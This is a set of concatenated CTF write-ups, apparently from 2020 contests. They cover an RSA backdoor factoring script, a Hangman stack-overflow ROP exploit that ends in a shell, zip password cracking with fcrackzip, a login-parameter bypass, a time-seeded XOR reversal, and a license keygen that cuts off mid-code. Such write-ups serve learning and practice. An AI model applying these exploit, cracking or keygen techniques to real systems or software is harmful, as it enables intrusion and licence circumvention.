'IJCTF{I_h4v3_t0_s4y_Im_r34lly_impr3ss3d_w1th_c0mm0n_b1ts!!!!}'```
We are given the code (and the legend that someone was _very_ insistent we should use this code to generate RSA params and it's totally secure):```#!/usr/bin/env python3 from random import getrandbits, randrange def generate(): IV = 5326453656607417485924926839199132413931736025515611536784196637666048763966950827721156230379191350953055349475955277628710716247141676818146987326676993279104387449130750616051134331541820233198166403132059774303658296195227464112071213601114885150668492425205790070658813071773332779327555516353982732641; seed = 0; temp = [0, 0]; key = 0 while(key != 2): if key == 0: seed = getrandbits(1024) | (2 ** 1023 + 1) seed_ = seed ^ IV; n = seed_ << 1024 | getrandbits(1024); seed = n//seed | 1 while(1): seed += 2; pi = seed - 1; b = 0; m = pi; while (m & 1) == 0: b += 1 m >>= 1 garbage = []; false_positive = 1 for i in range(min(10, seed - 2)): a = randrange(2, seed) while a in garbage: a = randrange(2, seed) garbage.append(a); z = pow(a, m, seed) if z == 1 or z == pi: continue for r in range(b): z = (z * z) % seed; if z == 1: break elif z == pi: false_positive = 0; break if false_positive: break if not false_positive: break temp[key] = seed; key += 1 return(temp[0], temp[1]) def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def inverse(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m def RSA(): (p, q) = (0, 0) while(p == q): (p, q) = generate() n = p * q e = 0x10001 d = inverse(e, (p - 1) * (q - 1)) return (n, e, d)```and the data generated by this code:```n: 31492593980972292127624243962770751972791586997559415119664067126352874455354554396825959492520866585425367347800693358768073355393830644370233119742738920691048174984688259647179867604016694194959178874017481204930806636137689428300906890690499460758884820784037362414109026624345965004388036791265355660637942956892135275111144499770662995342441666665963192321379766221844532877240853120099814348371659810248827790798567539193378235283620829716728221866131016495050641120781696656274043778657558111564011476899021178414456560902915167861941065608670797745473745460370154604158882840935421329890924498705681322154941e: 65537c: 31105943135542175872131854877903463541878591074483146885600982339634188894256348597314413875362761608401326213641601058666720123544299104566877513595233611507482373096711246358592143276357334231127437090663716106190589907211171164566820101003469295773837109380815526746746678580390779170877213166506863176846508933485178812858166031517243792487958635017917996626849408595921536238471169975280762677305759764602707285224588771643832335444552739959904673158661424651074772864245589406308229908379716500604590198490474257870603210120239125184805345188782082520055749851184516545898673495570079185198108523819932428027921``` This is an example of a backdoor in RSA modulus; the modulus looks just fine and is hard to factor by itself, but the factorization becomes very easy for someone knowing a secret constant used in generation. Namely, the first prime p is random, but the second one is generated as the next prime after ((p ^ IV) \* 2\*\*1024 + randbits(1024)) / p, so the moduls n = p\*q = (p ^ IV) \* 2\*\*1024 + randbits(1024) + p\*(some small number due to search of the next prime); the most significant half of bits of n equals p ^ IV plus some small number.```import gmpy2n = ...e = 65537c = ...IV = ...for i in range(10000): p=((n>>1024)-i)^IV if n%p == 0: breakelse: print("Factorization not found!") q = n//pd = gmpy2.invert(e, (p-1)*(q-1))print(bytes.fromhex('%x' % pow(c, d, n)))# prints b'IJCTF{kl3pt0_n0th1n6_uP_mY_s133v3_numb3r5}'```
# Hangman This task was part of the 'Pwn' category at the 2020 Hexion CTF (during 11-13 April 2020). It was solved [The Maccabees](https://ctftime.org/team/60231) team. Full solution is available [here](solve.py). ## The challenge The challenge description: ![](hangman.png) ```nc challenges1.hexionteam.com 3000Note: flag is in ./flag``` The challenge contains a ZIP archive with 3 files: 1. `hangman` - executable ELF (`hangman: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9aa2f65b307cb0f388c44f89bb73a8b1bc4aa263, for GNU/Linux 3.2.0, not stripped`).2. `hangman.c` - source code for `hangman`.3. `words.list` - a 17-lines ASCII files that contains english words. Used by the `hangman` binary. The binary itself (which we have access to interacting with it using netcat) is a game of hangman. This game is based on guessing a word, letter-by-letter. The prompt printed when running the game: ```Welcome to the Hangman game!!!In this game, you have to guess the wordElse... YOU WILL BE HANGED!!!Good Luck! UwU ___________.._______| .__________))______|| | / / ||| |/ / ||| | / ||.-''.| |/ |/ _ \| | || `/,|| | (\\`_.'| | .-`--'.| | /Y . . Y\| | // | | \\| | // | . | \\| | ') | | (`| | ||'||| | || ||| | || ||| | || ||| | / | | \""""""""""|_`-' `-' |"""||"|"""""""\ \ '"|"|| | \ \ | |: : \ \ : :. . `' . . Lives: 5________ 1 - Guess letter2 - Guess word3 - Give upEnter choice: ``` Because we are also given the source code, it's easy to inspect it and find a vulnerability. ## The vulnerability We will go over the code structure, trying to explain the relevant parts and the vulnerability. The `main` function prints a prompt and calls the `gameLoop` function. The `gameLoop` function allocates the following `struct hangmanGame` on the stack, and calls `initHangmanGame` on it to initialize it: ```cstruct hangmanGame{ char word[WORD_MAX_LEN]; char *realWord; char buffer[WORD_MAX_LEN]; int wordLen; int hp;};``` ```cvoid gameLoop(){ struct hangmanGame game; char choice = 0; int exit = FALSE; initHangmanGame(&game;; ... // actual game loop is here delHangmanGame(&game;;} ``` The `initHangmanGame` function does some initilizations, the important one for us being: ```c#define WORD_MAX_LEN 32...void initHangmanGame(struct hangmanGame *game){ ... game->wordLen = WORD_MAX_LEN; ...}``` Afterwards, the main game loops runs; it excepts to get from the user a choice for command; in the exploit - the vulnerability resides in the guess word command (character `'2'`) - which calls the `guessWord(&game)` function: ```cint guessWord(struct hangmanGame *game){ int i = 0; int len = game->wordLen; for (i = 0; i <= len; i++) { game->buffer[i] = (char)getchar(); if (game->buffer[i] == '\n') { break; } } game->buffer[i] = 0; fflush(stdin); ...} ``` This is an off-by-one (actually off-by-two) vulnerability: the `game->buffer` is in size `WORD_MAX_LEN` (which is `32`) - but the for loop counts from 0 to `len` (which was initialized to `32`) with a condition of `i <= len` - meaning this loop will run 33 iterations (if we keep feeding characters other than `'\n`'). In addition, after the for loop ends, another NULL bytes is written after the last index (meaning we can write in offset 34 from the 32-byte `buffer`). Because how the `struct hangmanGame` looks like - right after `buffer` we have the `int wordLen` variable - which is exactly the limit we are looping on in this loop. So we can gain overflow on the stack in two steps: 1. Call `guessWord`, overflow the `wordLen` with the value of `0xff` (255).2. Call `guessWord` again - now the loop reads `0x100` (256) bytes (instead of just `32` before) - this is enough to overflow the entire `struct hangmanGame` and afterwards. Because the struct is allocated on the stack of the `gameLoop` function - we can overflow the stack there and control the return address of this function. Notice that this binary is compiled without stack cookies - we can just directly overflow the return address and saved registers. ## The exploit Given the overflow in the stack and the return address - we now need to exploit this primitive to a full code execution. We have a few problems here: 1. Everything is randomized (stack addresses and `libc`) except our own binary (which is in constant address).2. We don't know the version of the target machine `libc` (so leaking `libc` base isn't enough - we need to leak its version). ### Finding useful gadgets The binary is very small, and it doesn't contain and useful gadgets for us by its own (no `execve`/`system`/syscall gadgets). In order to control interesting registers (some of the calling convention arguments - `rdi, rsi, rdx, rcx, r8, r9`), we use 2 useful gadgets in the binary, which are both in the `__libc_csu_init` function. The two gadgets are: ```assemblypop rbxpop rbppop r12pop r13pop r14pop r15retn``` ```asmmov rdx, r14mov rsi, r13mov edi, r12dcall qword ptr [r15+rbx*8]...``` Chaining these 2 gadgets, we can gain a control over `rdx`, `rsi` and `edi` (and `r12-r15` and `rbx`/`rbp` with some limitations). In addition - using these `__libc_csu_init` gadgets - we can put the address of a GOT entry in `r15` in order to call any function in the GOT. ### Constructing a leak primitive In order to leak an address, we will construct a ROP chain in the following manner: 1. Using the above gadgets, call the `puts` function (which has a GOT entry) with a parameter we control. We will set this parameter to a be a GOT entry as-well, in order to leak the address of some `libc` functions.2. Return to the `_start` function of the binary, re-starting execution of the whole hangman game - allowing us to overflow the stack again and continue to overflow the stack - but now with a leak. ### Identifying target `libc` Equipped with our new leak primitive, we will use it a few times (in a separate connections) in order to leak addresses of a few functions in `libc` (using their GOT entries). Then, we'll use the [libc database search](https://libc.blukat.me/) website - that allows us to input the 3 lowest nibbles (bottom 12-bits - which doesn't randomize upon ASLR) of a few functions from a specific `libc`, in order to find it in the database. After inputing 3 functions we got the result that our `libc` version is `libc6_2.27-3ubuntu1_amd64.so`, and a download link for this library (attached in the git repository). ### Getting code execution Now we can just do the following: 1. Start with the leak ROP chain to leak the address of `puts`. Because we know the `libc` version now, we can calculate the `libc` base.2. Because the leak now runs the `_start` function, we can trigger the vulnerability again, overflow the stack, and generate a ROP chain that runs `execv("/bin/sh", NULL)` using `libc` gadgets (both `execv` function and `"/bin/sh/"` string are present in `libc` itself).3. We gain code execution! Now we can just inspect the filesystem using the shell and find the flag: `hexCTF{e1th3r_y0u_gu3ss_0r_y0u_h4ng}`. Full exploit code is available [here](solve.py). Thanks for reading!
# Hmmm This task was part of the 'Misc' category at the 2020 Hexion CTF (during 11-13 April 2020).It was solved by [or523](https://github.com/or523), in [The Maccabees](https://ctftime.org/team/60231) team. # The challenge Description: ```?``` We get a binary named `hmmm`: ```hmmm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=56283dee17d5f80f5b16885a898cbe61161b39a8, for GNU/Linux 3.2.0, stripped``` This binary prints a picture of a girl (in anime style) when we run it, but has nothing to do with the flag.The flag shows up when running: ```bash$ cat ./hmmm``` You can see the flag `hexCTF{1m_s0rry_1f_y0u_r3v3r5ed_7h1s}` The reason the flag doesn't show up in reversing / running `strings` is because it is hidden inside the binary in a clever way: each character of the flag is separated by some amount of NULL characters from the next. We can see it in `hd` output: ```$ hd ./hmmm00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|00000010 03 00 3e 00 01 00 00 00 80 20 00 00 00 00 00 00 |..>...... ......|...00000380 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |h...............|00000390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|000003a0 00 00 00 00 00 00 00 00 00 00 00 00 65 00 00 00 |............e...|000003b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000003f0 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 |............x...|00000400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000460 00 43 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.C..............|00000470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000004c0 00 00 00 00 00 00 54 00 00 00 00 00 00 00 00 00 |......T.........|000004d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000520 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 |...........F....|00000530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000590 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |{...............|000005a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000005f0 00 00 00 00 00 31 00 00 00 00 00 00 00 00 00 00 |.....1..........|00000600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000650 00 00 00 00 00 00 00 00 00 00 6d 00 00 00 00 00 |..........m.....|00000660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000006b0 00 00 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 |....._..........|000006c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000700 00 00 00 00 00 00 00 73 00 00 00 00 00 00 00 00 |.......s........|00000710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000760 00 00 00 00 00 00 30 00 00 00 00 00 00 00 00 00 |......0.........|00000770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*000007c0 00 00 00 00 00 00 00 00 00 00 00 72 00 00 00 00 |...........r....|000007d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000820 00 00 00 00 00 00 00 00 00 00 00 72 00 00 00 00 |...........r....|00000830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000890 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |y...............|000008a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|...```
#Spilled Milk### 50 Pointsoh no! i'm so clumsy, i spilled my glass of milk! can you please help me clean up? spilled_milk.png (9ac853b9527a08919f9c94172074a69d)### Solution:### Flag: # Zip-a-Dee-Doo-Dah### 129 PointsI zipped the file a bit too many times it seems... and I may have added passwords to some of the zip files... eh, they should be pretty common passwords right? Hint! A script will help you with this, please don't try do this manually...Hint! All passwords should be in the SecLists/Passwords/xato-net-10-million-passwords-100.txt file, which you can get here : https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-100.txtor alternatively, use "git clone https://github.com/danielmiessler/SecLists" 1819.gz (2c1ce0c0f7efb5ddfac82390aeada827)### Solution:This one was a bunch of nested archives of differing formats. Zips being password encoded. So I scripted this and used `fcrackzip` with the provided password list to handle password cracking. ```bash#!/bin/bash while [ true ]do file=`ls -1| grep -v *.sh | grep -v txt` echo "Runnin on $file" if [ `file $file | grep -c tar` -gt 0 ] then tar xvf $file rm $file elif [ `file $file | grep -c gzip` -gt 0 ] then if [ "{${file##*.}}" != "{gz}" ] then mv $file "${file}.gz" file="${file}.gz" fi gunzip $file elif [ `file $file | grep -c 'Zip archive'` -gt 0 ] then for pass in $(fcrackzip -D -p words.txt $file | cut -d ' ' -f 4) do echo "Trying $pass" unzip -o -P $pass $file if [ $? -eq 0 ] then echo "Success" rm $file continue fi done fidone``` ### Flag:rtcp{z1pPeD_4_c0uPl3_t00_M4Ny_t1m3s_a1b8c687} # Music Lab### 207 PointsDo you like my song? ♪ masterpiece.mid (3cf79ff90abc4eb76f22f33adf636189)### Solution:I just opened this one up in Audacity and the flag was written out in the notes. The most frustrating part of this one was figuring out which character to use in the flag. ![Masterpiece](img/masterpiece.png)### Flag:rtcp{MOZ4rt_WOuld_b3_proud} # Satan's Jigsaw### 704 PointsOh no! I dropped my pixels on the floor and they're all muddled up! It's going to take me years to sort all 90,000 of these again :( Hint! long_to_bytes chall.7z (a9bd676256e2cf8a5ca893a9928aaa16)### Solution:The provided 7z file contained a bunch of images with long numerical filenames. The hint made it obvious that you needed to use long_to_bytes on those. The resulting string were two integers. Each image was a single pixel, so it became obvious that we just had to place each pixel at the coordinates listed, so I wrote a python script using PIL.```from Crypto.Util.number import long_to_bytesimport osfrom PIL import Image, ImageDraw mapping={}max_x = 0max_y = 0 # Map image to posfor filename in os.listdir('./'): if filename.endswith('.jpg'): pos = long_to_bytes(filename.replace('.jpg','')) mapping[filename] = [int(pos.split(" ")[0]), int(pos.split(" ")[1])] # Find max x and yfor pos in mapping.items(): print pos[1] if pos[1][0] > max_x: max_x = pos[1][0] if pos[1][1] > max_y: max_y = pos[1][1] # Create the new imageimg = Image.new('RGB',(max_x,max_y), color=0)for image in mapping: x = mapping[image][0] y = mapping[image][1] im = Image.open(image) region = im.crop((0,0,1,1)) img.paste(region,(x,y,x+1,y+1)) img.save('test.png') ``` That resulted in this image ![satans_jigsaw](img/satans_jigsaw.png) One of those QR codes is a rickroll, the other is the flag! ### Flag:rtcp{d1d-you_d0_7his_by_h4nd?} # I only see in cubes### 1,547 PointsSOLVEDOh no! Jubie's been travelling through distant lands and she lost her books! She'd put so much work into writing them, it'd be a shame if they were lost forever. You never know, you might be rewarded if you find them... Hint! You don't need to own a copy of Minecraft to solve this challenge. You also don't need to pirate a copy of Minecraft to solve this challenge. Piracy bad. I only see in cubes rezip.7z (c1450ca404a110f66dea46bb70f0265a)### Solution:They made it pretty clear the files here were for minecraft, so I looked into how those files work. That lead me to some tools that can be used to read them, including [NBTExplorer](https://github.com/jaquadro/NBTExplorer), which can be used to crawl through these files. The zip had some weirdness where it tried to overwrite files on unpacking. Strange. So initially I let it do that. Poking manually through the files I found one book in the player's inventory which showed me that the books would have an ID of `minecraft:written_book`. So I searched for that in the rest of the files and initially I could only find two parts on the flag. So I went back and unzipped the package again, but didn't allow the overwrite this time. The first part of the flag was in that set of files. ### Flag:???
# Selfhost all the things! ![](chall.png) When logging in to mantle, you are given one option, discord. ![](discord.png) When you log in, you are given a simple chat application: ![](mantle.png) I did find some XSS vulns, but it doesn't seem too useful: ![](xss.png) ![](xss2.png) I actually did have a bit of fun with it though! :joy: ```html``` ![](xss3.png) Unfortunately, that wasn't it. Time to keep searching. There was a hint that came with the challenge: ![](hint.png) Maybe if we login with flag instead of discord, it will give us the flag? Let's try it. I edited the request headers with burp, and I just changed the `with` parameter from `discord` to `flag`. ![](burp.png)![](burp2.png) And sure enough, when we forward the request, we get the flag! ![](flag.png) Flag: `rtcp{rtcp-*is-s/ort-of-se1fh0st3d}`
# Nameless This task was part of the 'Reversing' category at the 2020 Hexion CTF (during 11-13 April 2020).It was solved by [or523](https://github.com/or523), in [The Maccabees](https://ctftime.org/team/60231) team. The challenge description: ```Strip my statically linked clothes off``` ## The challenge This is a super-easy reversing challenge. We get 2 files: 1. Binary named `nameless`: `nameless: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=323839c17d33008400842a9743c7813e8fcb646b, stripped`. 2. 34-bytes binary `out.txt`: ``` 00000000 16 ec 23 c3 06 01 b1 f0 61 4a f4 81 35 16 ef aa |..#.....aJ..5...| 00000010 5b 3f 38 51 62 0f 21 13 64 e7 67 ee 41 7b 3a b9 |[?8Qb.!.d.g.A{:.| 00000020 ec b1 |..| ``` The actual challenge is: this is a statically-linked binary (meaning: `libc` and all other dependencies are statically-compiled into it), and it is stripped from all symbols and debug information.The binary takes a file named `flag.txt`, "encrypts" it and outputs `out.txt`. We need to reverse this process, and understand how to reverse it in order to get the original `flag.txt` contents. The reversing process itself is as follows: Finding the `main` function is easy by searching for the string `out.txt` in the binary. From there, the main challenge is to understand the identity of each standard `libc` functions. Just by inspecting the parameters and comparing the decompiled input to our own `libc`, we identified these functions (the real confusing ones were `fgets`, `fputc` and `rand`).The main function ends up looking like this: ```cint main(void){ time_t curr_time = time(NULL); srand(curr_time); int c = 0; FILE * flag_file = fopen64("flag.txt", "r"); for ( FILE * out_file = fopen64("out.txt", "w"); ; fputc(c, out_file) ) { char flag_char = fgetc(flag_file); if ( flag_char == -1 ) break; c = ((signed int)rand() % 0x666 + 1) ^ flag_char; } fclose(flag_file); fclose(out_file); return 0;}``` This is a trivial process of "encrypting" flag (of course - this is not a real encryption by any means...), and the only external input here is the current time (`time(NULL)`) when this binary was ran.Because we know the flag starts with the bytes `hexctf`, we can just write a simple C program which iterates all possible `time_t` values from the current time backwards, checking if "decrypting" the first 6 bytes of `out.txt` results in `hexctf`. The full C program that does it is attached [here](solve.c). After running it for a few seconds, we get a solution for `time=1586541672`, which is `hexCTF{nam3s_ar3_h4rd_t0_r3m3mb3r}`. ~ **or523**
# Potentially Eazzzy We are given a python file. The purpose of this script is to verify licenses. You can view it [here](potentially-eazzzy.py). Upon inspection of the script, it looks like it uses the email in the license check. That makes sense. That way, no one can use the same license with two separate emails. If we want to get anywhere in this challenge, we'll have to reverse engineer the script. ```pythondef main(): print("Welcome to Flag Generator 5000") print() print("Improving the speed quality of CTF solves since 2020") print() print("You'll need to have your email address and registration key ready.") print("Please note the support hotline is closed for COVID-19 and will be") print("unavailable until further notice.") print() email = input("Please enter your email address: ") key = input("Please enter your key: ")``` First off, it greets the user. Then, it asks the user for the email and flag and stores those inputs as strings. ```pythonif validate(email, key): print_flag()else: print("License not valid. Please contact support.")``` It then validates the license by calling `validate(email, key)`, and then prints the flag if the function returns `True`. So far so good. Let's look at the `validate()` function. ```pythondef validate(email, key): email = email.strip() key = key.strip()``` First, it removes tailing spaces off of the email and key. ```pythonif len(key) != 32: return False``` It then checks if the key is 32 characters in length. If the key isn't, the function returns `False`, which is not what we want. In order to print the flag, the function has to return `True`. Therefore, the key has to be 32 characters in length. ```pythonemail = email[:31].ljust(31, "*")email += "*"``` It then truncates the email down to 31 characters, and if the email is less than 31 characters, it fills the rest with stars. Finally, it adds one last star to the end of the string for a total of 32 characters. ```pythonfor c in itertools.chain(email, key): if c not in ALPHABET: return False``` The value of `ALPHABET` is defined at the beginning of the script. It contains a list of characters ranging from 0x2a-0x7a. ```pythonALPHABET = [chr(i) for i in range(ord("*"), ord("z")+1)]``` So this part checks if both the email and key are "alphabetical", which by "alphabetical" I really mean in the ASCII range 0x2a-0x7a. After that, there are a lot of constraints the email and license must obey. ```pythonif email.count("@") != 1: return False``` The email has to have at least one @ sign. ```pythonif key[0] != "Z": return False``` The first character of the license must be a Z. ```pythondotcount = email.count(".")if dotcount < 0 or dotcount >= len(ALPHABET): return False``` The email has to have between 0 and 80 periods. (don't ask me why, as the email is already only 32 characters) I implemented all this in a [script I wrote](sol.py) to generate a license for me, so I'm not doing it by hand or anything like that. More on that later. Then comes the crazy checks. I swear, whoever wrote this used a script to write this part: ```pythonif a(dotcount) != o(key[1]): return False if o(key[3]) != a(o(key[1])%30 + o(key[2])%30) + 5: return False if o(key[2]) != a(indexes(email, "*") + 7): return False if o(key[4]) != a(sum(o(i) for i in email)%60 + o(key[5])): return False if o(key[5]) != a(o(key[3]) + 52): return False if o(key[6]) != a((o(key[7])%8)*2): return False if o(key[7]) != a(o(key[1]) + o(key[2]) - o(key[3])): return False if o(key[8]) != a((o(key[6])%16) / 2): return False if o(key[9]) != a(o(key[6]) + o(key[4]) + o(key[8]) - 4): return False if o(key[10]) != a((o(key[1])%2) * 8 + o(key[2]) % 3 + o(key[3]) % 4): return False if not m(email[3], key[11], key[12], 8): return Falseif not m(email[7], key[13], key[4], 18): return Falseif not m(email[9], key[14], key[3], 23): return Falseif not m(email[10], key[15], key[10], 3): return Falseif not m(email[11], key[13], key[16], 792): return Falseif not m(email[12], key[17], key[4], email.count("d")): return Falseif not m(email[13], key[18], key[7], email.count("a")): return Falseif not m(email[14], key[19], key[8], email.count("w")): return Falseif not m(email[15], key[20], key[1], email.count("g")): return Falseif not m(email[16], email[17], key[21], email.count("s")): return Falseif not m(email[18], email[19], key[22], email.count("m")): return Falseif not m(email[20], key[23], key[17], 9): return Falseif not m(email[21], key[24], key[13], 41): return Falseif not m(email[22], key[25], key[10], 3): return Falseif not m(email[23], key[26], email[14], email.count("1")): return Falseif not m(email[24], email[25], key[27], email.count("*")): return Falseif not m(email[26], email[27], key[28], 7): return Falseif not m(email[28], email[29], key[29], 2): return Falseif not m(email[30], key[30], email[18], 4): return Falseif not m(email[31], key[31], email[4], 7): return False return True```Either that, or the author took a lot of time and effort writing this challenge! Anyway, there are three functions you need to know about, defined at the beginning of the file: ```pythona = lambda c: ord(ALPHABET[0]) + (c % len(ALPHABET)) o = lambda c: ord(c) oa = lambda c: a(o(c))``` They are all lambda functions that take one parameter. `o('Z')` is just short for `ord('Z')` `a(126)` is another function that is used to convert any number to a printable char, by getting the modulo of your input and the length of `ALPHABET`, and then adding the ord of the first character in `ALPHABET`. It returns really the `ord` of the printable char, and is used to compare to characters in the license, to check if the license is valid. And finally, `oa()` is just a combination of both functions. First things first: ```pythonif a(dotcount) != o(key[1]): return False``` This is saying that the `a()` of the email dot count has to be equal to the ord of the second letter of the license. While I was examining the inner workings of this program, I was making my own script that I can use to generate a license, given an email. You can see it [here](sol.py). I created an array called `key` to store all the key codes of the license. ```pythonkey = [ord('A')] * 32 ## contains ascii codes for the key, the key is 32 characters long.``` I decided to store the characters this way because strings are immutable, and I can change the individual characters of the license as I please now. So now, I can edit the second character of the license using this check. Knowing that the second character, represented as an integer, has to be equal to `a(dotcount)`, I can simply do this: ```pythonkey[1] = a(dotcount)``` And now this requirement: ```pythonif a(dotcount) != o(key[1]): return False``` ...Is now satisfied. Now, I can't do the same thing for the next one: ```pythonif o(key[3]) != a(o(key[1])%30 + o(key[2])%30) + 5: return False``` ...Because the value of `key[3]` depends on the value of `key[2]`, so I have to get `key[2]` first, which is pretty straight forward. ```pythonif o(key[2]) != a(indexes(email, "*") + 7): return False``` The next one has the check with `key[2]`, so now we can get `key[2]` with this code: ```pythonkey[2] = a(indexes(email, "*") + 7)``` Now that we have `key[2]`, we can now get `key[3]` ```pythonkey[3] = a(key[1]%30 + key[2]%30) + 5``` And we can simply keep going by doing the same steps we did before. Go to the next piece of code. If it depends on another part of the license, calculate that part first. ```pythonif o(key[4]) != a(sum(o(i) for i in email)%60 + o(key[5])): return False if o(key[5]) != a(o(key[3]) + 52): return False``` `key[4]` depends on `key[5]`, and `key[5]` depends on `key[3]`. We already have `key[3]`, so we can go ahead and get `key[5]`. Then we can get `key[4]` ```pythonkey[5] = a(key[3] + 52) ## the order of key calculation matters, because the value of key[4] depends on key[5]. key[4] = a(sum(o(i) for i in email)%60 + key[5])``` It keeps going like that, until `key[10]` ```pythonkey[7] = a(key[1] + key[2] - key[3]) key[6] = a((key[7]%8)*2) key[8] = a((key[6]%16) / 2) key[9] = a(key[6] + key[4] + key[8] - 4) key[10] = a((key[1])%2 * 8 + key[2] % 3 + key[3] % 4)``` Then it starts getting more complex. We are introduced to a new function `m()` ```pythondef m(one, two, three, four): d = len(ALPHABET)//2 s = ord(ALPHABET[0]) s1, s2, s3 = o(one) - s, o(two) - s, o(three) - s return sum([s1, s2, s3]) % d == four % d``` It takes 4 parameters. I edited the function in my script to make it easier to understand. ```pythondef m(one, two, three, four): d = 40 s = 42 s1, s2, s3 = one - 42, two - 42, three - 42 return sum([s1, s2, s3]) % 40 == four % 40``` It takes parameters 1 to 3, and subtracts it by 42. It then checks if the modulus of the sum of those three numbers we just calculated to 40 is equal to the fourth parameter applied with the same modulus. The question is, how do we reverse engineer this? Let's look at an example on how it's used: ```pythonif not m(email[3], key[11], key[12], 8): return False``` In order for this check to pass, the function being called, `m()`, has to return `True` After some trial and error, I got this: ```pythondef l(two, three, four): one = ((sum([two, three]) + (-42 * 3)) % 40) - (four % 40) while one > 0: one = one - 40 one = -one while one < 0x2a: one += 40 return one``` I was able to create a function that basically gets `one` when given `two`, `three`, and `four`. In other words, assuming you have `two`, `three`, and `four`, `m(l(two, three, four), two, three, four)` will __always__ return `True` Also, remember that all characters have to be in the ASCII range `0x2a-0x7a`, so I add 40 to each character until it is. ```pythonone = l(two, three, four) print(m(one, two, three, four)) ## Always will return True``` I even made a [test script](test.py) to test if this will always work, and it does. We can do the same thing we have been doing, but now we can use `l()` to do the reverse of `m()`. The order of the first three parameters doesn't matter. Cool, huh? Here's a quick example: ```pythonif not m(email[3], key[11], key[12], 8): return False``` Hm... We don't have either `key[11]` or `key[12]`. Let's keep going. ```pythonif not m(email[7], key[13], key[4], 18): return False``` In my script, `email` is currently a string. Let's fix that. ```pythonoldEmail = email[:]email = [] for i in oldEmail: email.append(ord(i))``` Now `email` is a list of character ASCII values, which is what we want. Since we have `key[4]` and `email[7]`now, we can get `key[13]`! ```pythonkey[13] = l(email[7], key[4], 18)``` Nice! Let's keep doing this for the rest of the keys. ```pythonif not m(email[3], key[11], key[12], 8): return Falseif not m(email[7], key[13], key[4], 18): return Falseif not m(email[9], key[14], key[3], 23): return Falseif not m(email[10], key[15], key[10], 3): return Falseif not m(email[11], key[13], key[16], 792): return Falseif not m(email[12], key[17], key[4], email.count("d")): return Falseif not m(email[13], key[18], key[7], email.count("a")): return Falseif not m(email[14], key[19], key[8], email.count("w")): return Falseif not m(email[15], key[20], key[1], email.count("g")): return Falseif not m(email[16], email[17], key[21], email.count("s")): return Falseif not m(email[18], email[19], key[22], email.count("m")): return Falseif not m(email[20], key[23], key[17], 9): return Falseif not m(email[21], key[24], key[13], 41): return Falseif not m(email[22], key[25], key[10], 3): return Falseif not m(email[23], key[26], email[14], email.count("1")): return Falseif not m(email[24], email[25], key[27], email.count("*")): return Falseif not m(email[26], email[27], key[28], 7): return Falseif not m(email[28], email[29], key[29], 2): return Falseif not m(email[30], key[30], email[18], 4): return Falseif not m(email[31], key[31], email[4], 7): return False``` After we're finished, it should look something like this: ```python# if not m(email[16], email[17], key[21], email.count("s")): ## I will just start with this# return False key[21] = l(email[16], email[17], oldEmail.count('s')) # if not m(email[7], key[13], key[4], 18):# return False key[13] = l(email[7], key[4], 18) # if not m(email[11], key[13], key[16], 792):# return False key[16] = l(email[11], key[13], 792) # if not m(email[21], key[24], key[13], 41):# return False key[24] = l(email[21], key[13], 41) # if not m(email[9], key[14], key[3], 23):# return False key[14] = l(email[9], key[3], 23) # if not m(email[10], key[15], key[10], 3):# return False key[15] = l(email[10], key[10], 3) # if not m(email[12], key[17], key[4], email.count("d")):# return False key[17] = l(email[12], key[4], oldEmail.count('d')) # if not m(email[20], key[23], key[17], 9):# return False key[23] = l(email[20], key[17], 9) # if not m(email[31], key[31], email[4], 7):# return False key[31] = l(email[31], email[4], 7) # if not m(email[13], key[18], key[7], email.count("a")):# return False key[18] = l(email[13], key[7], oldEmail.count('a')) # if not m(email[30], key[30], email[18], 4):# return False1 key[30] = l(email[30], email[18], 4) # if not m(email[28], email[29], key[29], 2):# return False key[29] = l(email[28], email[29], 2) # if not m(email[26], email[27], key[28], 7):# return False key[28] = l(email[26], email[27], 7) # if not m(email[3], key[11], key[12], 8):# return False key[11] = ord('Z') # idk key[12] = l(email[3], key[11], 8) # if not m(email[14], key[19], key[8], email.count("w")):# return False key[19] = l(email[14], key[8], oldEmail.count('w')) # if not m(email[15], key[20], key[1], oldEmail.count("g")):# return False key[20] = l(email[15], key[1], oldEmail.count('g')) # if not m(email[18], email[19], key[22], oldEmail.count("m")):# return False key[22] = l(email[18], email[19], oldEmail.count('m')) # if not m(email[22], key[25], key[10], 3):# return False key[25] = l(email[22], key[10], 3) # if not m(email[23], key[26], email[14], oldEmail.count("1")):# return False key[26] = l(email[23], email[14], oldEmail.count('1')) # if not m(email[24], email[25], key[27], 